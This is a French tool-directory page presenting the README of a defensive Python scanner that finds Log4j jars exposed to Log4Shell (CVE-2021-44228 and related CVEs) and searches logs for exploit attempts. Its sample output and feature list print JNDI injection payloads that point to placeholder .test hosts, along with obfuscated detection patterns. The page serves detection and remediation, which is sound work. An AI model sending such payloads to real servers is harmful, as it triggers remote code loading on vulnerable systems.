Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
log4shell-scanner — Scanner léger qui détecte les versions vulnérables de Log4j et les indicateurs Log4Shell (CVE-2021-44228) dans une arborescence du système de fichiers. | Kitploit
Outils/GitHubGitHub/arpitgupta369/log4shell-scanner
Outils DéfensifsScanners de VulnérabilitésAnalyse des VulnérabilitésSécurité de la Chaîne LogistiqueApprentissage et ÉducationAnalyse de Journaux
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

Scanner léger qui détecte les versions vulnérables de Log4j et les indicateurs Log4Shell (CVE-2021-44228) dans une arborescence du système de fichiers.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
16il y a 1 moisPas encore vérifié
Partager

log4shell-scanner

Un scanner défensif et sans dépendances pour Log4Shell — détecte les jars log4j-core vulnérables et les motifs d'exploitation JNDI dans les logs et la configuration.

Pourquoi ce projet

Lors de ma rotation CERT-In, j'ai travaillé sur l'identification des menaces, le confinement, la remédiation et la chasse aux menaces — exactement le flux de travail exigé par Log4Shell (CVE-2021-44228) à grande échelle en décembre 2021 : trouver chaque artefact log4j-core vulnérable dans une flotte, et fouiller les logs pour les tentatives d'exploitation ${jndi:...}. Ce scanner reconstruit ce flux de travail défensif dans un seul script Python portable utilisant uniquement la bibliothèque standard, qui ne nécessite rien d'installé sur la machine qu'il inspecte.

Fonctionnalités

  • Découverte d'archives — parcourt une arborescence de répertoires à la recherche de fichiers .jar / .war / .ear.
  • — lit et depuis l'intérieur de chaque archive avec , en se rabattant sur le nom du fichier ; distingue les vrais log4j-core des jars non liés.
Détection fiable des versions
pom.properties
MANIFEST.MF
zipfile
  • Signalement des CVE dans la famille Log4Shell :
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (correction incomplète) — jusqu'à 2.15.0
    • CVE-2021-45105 (DoS) — jusqu'à 2.16.0
  • Chasse aux motifs d'exploit — recherche dans les logs/config/source les ${jndi:ldap:// et les obfuscations courantes (${${lower:j}ndi:…}, j}ndi: avec accolade, ${::-j}).
  • Remédiation actionnable — mettre à niveau vers 2.17.1+, ou supprimer JndiLookup.class, plus conseils de surveillance des flux sortants.
  • Arbre d'exemples intégré avec un faux log4j-core-2.14.1.jar vulnérable (vrai zip contenant un pom.properties de log4j-core), un 2.17.1.jar corrigé, un jar non lié, et un log avec des charges utiles JNDI.
  • --demo construit et analyse l'arbre d'exemples de bout en bout.
  • Pure bibliothèque standard Python (os, re, zipfile). Aucune dépendance.
  • Stack technique

    Python 3 (uniquement bibliothèque standard : argparse, os, re, zipfile).

    Installation

    root@kitploit:~
    git clone https://github.com/arpitgupta369/log4shell-scanner.git
    cd log4shell-scanner
    python --version   # Python 3.8+
    # no dependencies to install
    

    Utilisation

    Lancez la démo sur l'arbre d'exemples intégré :

    root@kitploit:~
    python log4shell_scan.py --demo
    

    Sortie attendue (abrégée) :

    root@kitploit:~
    --- Archives (log4j-core detection) ---
      [ok]         .../commons-lang3-3.12.0.jar
            version: unknown   (via no log4j-core detected)
      [VULNERABLE] .../log4j-core-2.14.1.jar
            version: 2.14.1   (via pom.properties (...))
            !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
            !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
            !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
      [ok]         .../log4j-core-2.17.1.jar
            version: 2.17.1   (via pom.properties (...))
    
    --- Exploit-pattern matches (JNDI payloads in text/logs) ---
      [MATCH] .../access.log (2 hit(s))
            L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
            L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
    
    --- Summary ---
      Vulnerable archives:      1
      Files with JNDI patterns: 1
    

    Analysez tout répertoire que vous êtes autorisé à évaluer :

    root@kitploit:~
    python log4shell_scan.py /path/to/deployed/app
    

    Le code de sortie du processus est 1 si quelque chose de vulnérable ou suspect est trouvé, 0 si tout est propre — pratique pour les CI/pipeline gating.

    Reconstruisez l'arbre d'exemples à tout moment :

    root@kitploit:~
    python log4shell_scan.py --build-samples
    

    Structure du projet

    root@kitploit:~
    log4shell-scanner/
    ├── log4shell_scan.py      # scanner + sample-tree builder + CLI
    ├── samples/
    │   └── app/
    │       ├── libs/
    │       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
    │       │   ├── log4j-core-2.17.1.jar     # patched jar
    │       │   └── commons-lang3-3.12.0.jar  # unrelated jar
    │       ├── logs/
    │       │   └── access.log                # contains JNDI payloads
    │       └── config.properties             # benign (should not match)
    ├── README.md
    ├── LICENSE
    └── .gitignore
    

    Avertissement

    Pour usage éducatif, défensif et autorisé uniquement. Exécutez-le seulement contre des systèmes et artefacts que vous avez la permission d'évaluer. Le scanner lit et recherche des motifs uniquement — il n'exécute ni n'exploite jamais rien. Les jars d'exemples intégrés sont des placeholders fabriqués, pas de véritables artefacts Apache, et tous les noms d'hôtes des charges utiles utilisent des noms .test non routables. Les correspondances version-à-CVE sont fournies pour orientation ; vérifiez-les auprès des avis de sécurité officiels CVE et Apache Log4j.


    Construit par Arpit Gupta — LinkedIn · GitHub

    Télécharger l’outil